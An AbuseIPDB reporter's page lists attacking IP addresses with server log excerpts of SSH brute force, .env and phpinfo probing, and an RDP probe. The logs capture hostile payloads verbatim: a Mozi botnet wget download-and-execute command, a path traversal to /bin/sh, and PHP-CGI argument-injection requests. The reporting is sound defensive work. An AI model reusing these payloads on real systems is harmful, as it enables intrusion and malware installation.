AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Murazaki joined AbuseIPDB in December 2023 and has reported 121,761 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER SUPPORTER

IP	Date	Comment	Categories
🇨🇭 209.99.190.215	14 Oct 2026	2026-10-15T00:45:57.970708+02:00 Shiva sshd-session[4148034]: pam_sss(sshd:auth): authentication fai ... show more 2026-10-15T00:45:57.970708+02:00 Shiva sshd-session[4148034]: pam_sss(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=209.99.190.215 user=firedancer 2026-10-15T00:46:00.419408+02:00 Shiva sshd-session[4148034]: Failed password for invalid user firedancer from 209.99.190.215 port 58826 ssh2 2026-10-15T00:47:28.423792+02:00 Shiva sshd-session[4179950]: Invalid user ubuntu from 209.99.190.215 port 55916 ... show less	Brute-Force SSH
🇵🇱 20.215.65.224	14 Oct 2026	20.215.65.224 - - [15/Oct/2026:00:43:32 +0200] "" 400 0 "-" "-" "-" ...	Hacking
🇮🇳 20.219.160.77	14 Oct 2026	board.mehdibenadel.com 20.219.160.77 - - [15/Oct/2026:00:43:28 +0200] "GET /wp-content/plugins/hello ... show more board.mehdibenadel.com 20.219.160.77 - - [15/Oct/2026:00:43:28 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 503 190 "-" "-" "-" ... show less	Hacking
🇳🇱 192.253.248.251	14 Oct 2026	_ 192.253.248.251 - - [15/Oct/2026:00:42:09 +0200] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: ms ... show more _ 192.253.248.251 - - [15/Oct/2026:00:42:09 +0200] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-" "-" ... show less	Hacking
🇵🇰 59.103.119.60	14 Oct 2026	2026/10/15 00:32:26 [error] 1096389#1096389: 6589208 empty URI in redirect to named location "@err" ... show more 2026/10/15 00:32:26 [error] 1096389#1096389: 6589208 empty URI in redirect to named location "@err" while reading client request line, client: 59.103.119.60, server: , request: "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" ... show less	Hacking
🇦🇺 20.193.50.139	14 Oct 2026	jenkins.balamb.fr 20.193.50.139 - - [14/Oct/2026:22:45:48 +0200] "GET /mailgun.php HTTP/1.1" 403 884 ... show more jenkins.balamb.fr 20.193.50.139 - - [14/Oct/2026:22:45:48 +0200] "GET /mailgun.php HTTP/1.1" 403 884 "-" "-" "172.22.0.67:80" jenkins.balamb.fr 20.193.50.139 - - [14/Oct/2026:22:51:00 +0200] "GET /mailgun.php HTTP/1.1" 403 884 "-" "-" "172.22.0.67:80" mail.benadel.fr 20.193.50.139 - - [14/Oct/2026:23:26:31 +0200] "GET /mailgun.php HTTP/1.1" 404 153 "-" "-" "172.22.0.14:80" mail.benadel.fr 20.193.50.139 - - [15/Oct/2026:00:03:52 +0200] "GET /mailgun.php HTTP/1.1" 404 153 "-" "-" "172.22.0.14:80" balamb.studio 20.193.50.139 - - [15/Oct/2026:00:15:35 +0200] "GET /mailgun.php HTTP/1.1" 404 153 "-" "-" "172.22.0.61:80" ... show less	Bad Web Bot
🇩🇪 13.143.174.142	14 Oct 2026	_ 13.143.174.142 - - [14/Oct/2026:23:47:04 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/ ... show more _ 13.143.174.142 - - [14/Oct/2026:23:47:04 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" "-" ... show less	Hacking
🇨🇭 34.65.161.7	14 Oct 2026	portainer.balamb.fr 34.65.161.7 - - [14/Oct/2026:23:13:46 +0200] "GET /mailer/.env HTTP/1.1" 403 135 ... show more portainer.balamb.fr 34.65.161.7 - - [14/Oct/2026:23:13:46 +0200] "GET /mailer/.env HTTP/1.1" 403 13524 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "[fc00:db8:2::13]:9000" portainer.balamb.fr 34.65.161.7 - - [14/Oct/2026:23:13:46 +0200] "GET /mail/.env HTTP/1.1" 403 13522 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "172.22.0.19:9000" portainer.balamb.fr 34.65.161.7 - - [14/Oct/2026:23:13:47 +0200] "GET /mailing/.env HTTP/1.1" 403 13525 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "[fc00:db8:2::13]:9000" portainer.balamb.fr 34.65.161.7 - - [14/Oct/2026:23:13:48 +0200] "GET /mailgun/.env HTTP/1.1" 403 13532 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "[fc00:db8:2::13]:9000" p ... show less	Bad Web Bot
🇳🇱 195.178.110.137	14 Oct 2026	imap.charif.fr 195.178.110.137 - - [14/Oct/2026:23:10:30 +0200] "GET /cgi-bin/php_info.php HTTP/1.1" ... show more imap.charif.fr 195.178.110.137 - - [14/Oct/2026:23:10:30 +0200] "GET /cgi-bin/php_info.php HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" "172.22.0.14:80" imap.charif.fr 195.178.110.137 - - [14/Oct/2026:23:10:30 +0200] "GET /cgi-bin/info.php HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" "172.22.0.14:80" imap.charif.fr 195.178.110.137 - - [14/Oct/2026:23:10:30 +0200] "GET /cgi-bin/i.php HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" "172.22.0.14:80" imap.charif.fr 195.178.110.137 - - [14/Oct/2026:23:10:31 +0200] "GET /cgi-bin/phpinfo HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" "172.22.0.14:80" imap.charif.fr 195.178.110.137 - - [14/O ... show less	Bad Web Bot
🇫🇮 193.32.204.199	14 Oct 2026	82.66.93.214 193.32.204.199 - - [14/Oct/2026:23:09:11 +0200] "GET / HTTP/1.1" 503 190 "-" "-" "-" .. ... show more 82.66.93.214 193.32.204.199 - - [14/Oct/2026:23:09:11 +0200] "GET / HTTP/1.1" 503 190 "-" "-" "-" ... show less	Hacking
🇺🇸 3.129.187.38	14 Oct 2026	_ 3.129.187.38 - - [14/Oct/2026:23:09:06 +0200] "" 400 0 "-" "-" "-" ...	Hacking
🇺🇸 3.130.168.2	14 Oct 2026	3.130.168.2 - - [14/Oct/2026:23:00:59 +0200] "" 400 0 "-" "-" "-" ...	Hacking
🇫🇷 143.244.57.84	14 Oct 2026	mehdibenadel.com 143.244.57.84 - - [14/Oct/2026:22:53:05 +0200] "GET /.well-known/acme-challenge/ HT ... show more mehdibenadel.com 143.244.57.84 - - [14/Oct/2026:22:53:05 +0200] "GET /.well-known/acme-challenge/ HTTP/1.1" 404 146 "-" "-" "-" ... show less	Hacking
🇺🇸 141.148.187.118	14 Oct 2026	tube.balamb.fr 141.148.187.118 - - [14/Oct/2026:22:38:57 +0200] "-" 500 0 "-" "-" "-" ...	Hacking
🇳🇴 185.12.59.118	14 Oct 2026	82.66.93.214 185.12.59.118 - - [14/Oct/2026:22:26:13 +0200] "GET /Dr0v HTTP/1.1" 503 190 "-" "-" "-" ... show more 82.66.93.214 185.12.59.118 - - [14/Oct/2026:22:26:13 +0200] "GET /Dr0v HTTP/1.1" 503 190 "-" "-" "-" ... show less	Hacking
🇰🇷 20.194.17.163	14 Oct 2026	balamb.fr 20.194.17.163 - - [14/Oct/2026:21:39:35 +0200] "GET /cgi-bin/upgrade/index.php HTTP/1.1" 4 ... show more balamb.fr 20.194.17.163 - - [14/Oct/2026:21:39:35 +0200] "GET /cgi-bin/upgrade/index.php HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "172.22.0.61:80" fedistats.balamb.fr 20.194.17.163 - - [14/Oct/2026:22:04:31 +0200] "GET //cgi-bin/index.php HTTP/1.1" 403 13531 "-" "-" "172.22.0.19:9000" fedistats.balamb.fr 20.194.17.163 - - [14/Oct/2026:22:04:33 +0200] "GET //cgi-bin/admin.php HTTP/1.1" 403 13531 "-" "-" "[fc00:db8:2::13]:9000" vault.benadel.fr 20.194.17.163 - - [14/Oct/2026:22:24:30 +0200] "GET //cgi-bin/index.php HTTP/1.1" 404 1834 "-" "-" "172.22.0.3:80" vault.benadel.fr 20.194.17.163 - - [14/Oct/2026:22:24:31 +0200] "GET //cgi-bin/admin.php HTTP/1.1" 404 1834 "-" "-" "172.22.0.3:80" ... show less	Bad Web Bot
🇨🇳 103.85.85.159	14 Oct 2026	2026-10-14T22:24:08.260053+02:00 Shiva sshd-session[908156]: Failed password for root from 103.85.85 ... show more 2026-10-14T22:24:08.260053+02:00 Shiva sshd-session[908156]: Failed password for root from 103.85.85.159 port 45942 ssh2 2026-10-14T22:24:10.916146+02:00 Shiva sshd-session[910025]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.85.85.159 user=root 2026-10-14T22:24:12.484587+02:00 Shiva sshd-session[910025]: Failed password for root from 103.85.85.159 port 45962 ssh2 ... show less	Brute-Force SSH
🇺🇸 34.86.120.62	14 Oct 2026	home.balamb.fr 34.86.120.62 - - [14/Oct/2026:21:57:52 +0200] "-" 500 170 "-" "-" "-" ...	Hacking
🇳🇱 192.253.248.251	14 Oct 2026	_ 192.253.248.251 - - [14/Oct/2026:21:30:21 +0200] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: ms ... show more _ 192.253.248.251 - - [14/Oct/2026:21:30:21 +0200] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-" "-" ... show less	Hacking
🇧🇪 34.53.205.234	14 Oct 2026	portainer.balamb.fr 34.53.205.234 - - [14/Oct/2026:21:25:30 +0200] "-" 500 170 "-" "-" "-" ...	Hacking
🇯🇵 34.84.132.206	14 Oct 2026	crm.balamb.fr 34.84.132.206 - - [14/Oct/2026:21:25:13 +0200] "-" 500 170 "-" "-" "-" ...	Hacking
🇯🇵 34.84.54.170	14 Oct 2026	mail.balamb.studio 34.84.54.170 - - [14/Oct/2026:21:15:51 +0200] "-" 500 170 "-" "-" "-" ...	Hacking
🇭🇰 123.58.219.233	14 Oct 2026	82.66.93.214 123.58.219.233 - - [14/Oct/2026:20:58:32 +0200] "GET /version HTTP/1.1" 400 248 "-" "-" ... show more 82.66.93.214 123.58.219.233 - - [14/Oct/2026:20:58:32 +0200] "GET /version HTTP/1.1" 400 248 "-" "-" "-" ... show less	Hacking
🇹🇼 34.81.158.22	14 Oct 2026	home.balamb.fr 34.81.158.22 - - [14/Oct/2026:20:10:18 +0200] "POST /cgi-bin/php-cgi.exe?%ADd+allow_u ... show more home.balamb.fr 34.81.158.22 - - [14/Oct/2026:20:10:18 +0200] "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 403 13556 "-" "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)" "[fc00:db8:2::13]:9000" home.balamb.fr 34.81.158.22 - - [14/Oct/2026:20:10:18 +0200] "POST /cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 403 13548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" "172.22.0.19:9000" home.balamb.fr 34.81.158.22 - - [14/Oct/2026:20:10:19 +0200] "POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input HTTP/2.0" 403 13553 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "172.22.0.19:9000 ... show less	Bad Web Bot
🇯🇵 34.85.77.191	14 Oct 2026	project.balamb.fr 34.85.77.191 - - [14/Oct/2026:20:19:25 +0200] "-" 500 170 "-" "-" "-" ...	Hacking